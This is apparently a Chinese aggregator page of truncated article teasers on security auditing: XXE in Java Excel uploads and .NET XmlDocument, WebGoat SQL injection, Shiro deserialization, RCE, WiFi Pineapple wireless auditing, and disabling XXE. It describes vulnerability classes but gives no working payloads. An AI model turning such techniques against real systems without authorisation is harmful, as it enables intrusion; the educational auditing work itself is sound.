最近在审计某银行的Java代码时,发现许多上传Excel文件的接口,允许后缀是xslx文件,xslx文件是由xml文件组成的,可以改成.zip的文件后缀名进行解压,所以如果如果没有禁用外部实体,会存在XXE漏洞。下面的测试使用Java语言进... 查看详情

如何防止 XXE 攻击(.NET 中的 XmlDocument)

...2-12-2306:00:47【问题描述】:我们对我们的代码进行了安全审计,他们提到我们的代码容易受到外部实体(XXE)攻击。我正在使用以下代码-stringOurOutputXMLString="<ce><input><transact 查看详情

java代码审计之webgoat靶场sql注入(代码片段)

...结前言为了从自己相对熟悉的JAVA语言开始着手学习代码审计(渗透工程师的必经之路啊……),本文利用WebGoat源码在本地IDEA搭建WebGoat站点并进行漏洞的审计分析。WebGoat8是基于Sprin 查看详情

java代码审计之shiro反序列化漏洞分析(代码片段)

文章目录前言Java反序列化源码审计分析IDEA部署环境序列化过程分析反序列化的分析漏洞利用总结前言在前面的一篇文章:ApacheShiroJava反序列化漏洞复现曾介绍了CVE-2016-4437漏洞的复现过程和利用方式,为了不再当个“脚... 查看详情

java代码审计之rce远程命令执行

漏洞原理:RCE漏洞,可让攻击者直接向后台服务器远程注入操做系统命令或者代码,从而控制后台系统。出现此类漏洞通常由于应用系统从设计上须要给用户提供指定的远程命令操做的接口。通常会给用户提供一个ping操做的web... 查看详情

初探无线安全审计设备wifipineapplenano系列之pineap

前言:  之前曾经介绍过国外无线安全审计设备TheWiFiPineappleNano的SSLsplit模块和ettercap模块及实验。在玩WiFiPineappleNano设备的过程中,鉴于个人手头只有几块网卡,测试下来发现Nano能够支持的网卡芯片有:RTL8187L、RT3070、AR92... 查看详情

如何修复 Java 中的“禁用 XML 外部实体 (XXE) 处理”漏洞

】如何修复Java中的“禁用XML外部实体(XXE)处理”漏洞【英文标题】:howtofix\'DisableXMLexternalentity(XXE)processing\'vulnerabilitiesinjava【发布时间】:2019-11-0815:56:12【问题描述】:我针对sonarqube运行了我的java代码,我得到了“禁用XML外部... 查看详情

java代码审计之不安全的java代码(代码片段)

...itHub-j3ers3/Hello-Java-Sec:☕️JavaSecurity,安全编码和代码审计SQL注入​SQLI(SQLInjection),SQL注入是因为程序未能正确对用户的输入进行检查,将用户的输入以拼接的方式带入SQL语句,导致了SQL注入的产生。攻击者可通过... 查看详情

代码审计之xss漏洞

          查看详情

ansible安全之命令审计(代码片段)

Ansible安全之【命令审计】实现该功能要求如下:1.接受审计的登录用户默认shell必须为bash2.bash版本至少3.00或以上需要该要求的原因是实现功能的方法需要用到history命令的HISTTIMEFORMAT变量和PROMPT_COMMAND变量。配置命令审计1.创建一个... 查看详情

代码审计之xiaocms

 0x00前言这段时间就一直在搞代码审计了。针对自己的审计方法做一下总结,记录一下步骤。审计没他,基础要牢,思路要清晰,姿势要多且正。下面是自己审计的步骤,正在逐步调整,寻求效率最高。 0x01关于XiaoCmsXiaoCm... 查看详情

xxe漏洞详解与利用(代码片段)

...#39;,LIBXML_NOENT);本文也不打算再讲PHP环境下的XXE漏洞,Java才是XXE漏洞最常见的语言,因此主要以Java为例做一些介绍。但在漏洞利用的实例演示上,我依然用Pikachu靶场的XXE题目(PHP),因为XXE在利用上与语... 查看详情

禁用xxe处理漫谈(代码片段)

...上述所说,XXE漏洞的正确处理是尤为重要的。我们这里以Java为例,并且应用偏向于JAXPAPI进行分析如何禁用XXE处理。禁用文档类型首先可以禁 查看详情